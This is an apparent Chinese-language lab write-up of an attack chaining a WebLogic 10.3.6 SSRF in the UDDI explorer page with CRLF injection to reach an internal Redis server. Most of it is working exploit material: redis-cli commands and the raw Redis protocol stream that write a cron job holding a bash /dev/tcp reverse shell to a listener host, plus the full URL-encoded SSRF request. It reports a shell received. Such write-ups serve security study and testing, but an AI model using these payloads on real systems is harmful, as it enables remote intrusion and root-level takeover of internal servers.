weblogic_ssrf入侵redis测试
0x01:
测试环境:
WebLogic Server 版本: 10.3.6.0
windows server r2 2008 x64
IP地址:192.168.224.135
redis版本:redis-3.0.7
Red Hat Enterprise Linux Server release 5.8
IP地址:192.168.224.137
远程监听主机IP地址:192.168.224.130
0x02:
Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,这里测试利用 http协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。 首先了解一下通常攻击 Redis 的命令,然后转化为 http可用的协议。常见的 exp 是这样的:
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
redis-cli -h $1 quit
利用nc或socat监听6379端口,然后再用这个脚本攻击自身或者其他监听6379主机,并抓包得到数据流:
nc -l -vv -p 6379
nc监听的话回车换行的话,不明显:
用socat -v tcp-listen:6379,forktcp-connect:localhost:6379 监听:
最后完整的数据,$数字标识数据长度,*数字不知道标识什么:
*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$63\r (除去反弹ip端口字符串,剩余43)
*/1 * * * * bash -i >& /dev/tcp/192.168.224.130/55555 0>&1
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
*1\r
$4\r
save\r
*1\r
$4\r
quit\r
ssrf:
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://www.baidu.com:80&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
如何构造url请求,先看乌云峰会猪猪侠两张图片: 利用CRLF HTTP头注入,在完整的数据包上构造利用代码:
http://192.168.224.137:6379/test%0d%0a*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a*/1 * * * * bash -i >%26 /dev/tcp/192.168.224.130/55555 0>%261%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
然后请求:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.224.137:6379/test%0d%0a*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a*/1 * * * * bash -i >%26 /dev/tcp/192.168.224.130/55555 0>%261%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
Host: 192.168.224.135:7001
0x03:
测试过程如图:
启动redis服务,同时130上监听55555端口:
请求利用代码发包:
已经接收到恶意数据,保存:
已经写入计划任务:
130上成功反弹到shell:
顺便说下,官方最新redis测试没有成功,貌似未授权补了。当然了,利用还有很多,欢迎大家探讨。
参考:https://blog.chaitin.com/gopher-attack-surfaces
参考:http://fuzz.wuyun.org/src/build_your_ssrf_exp_autowork.pdf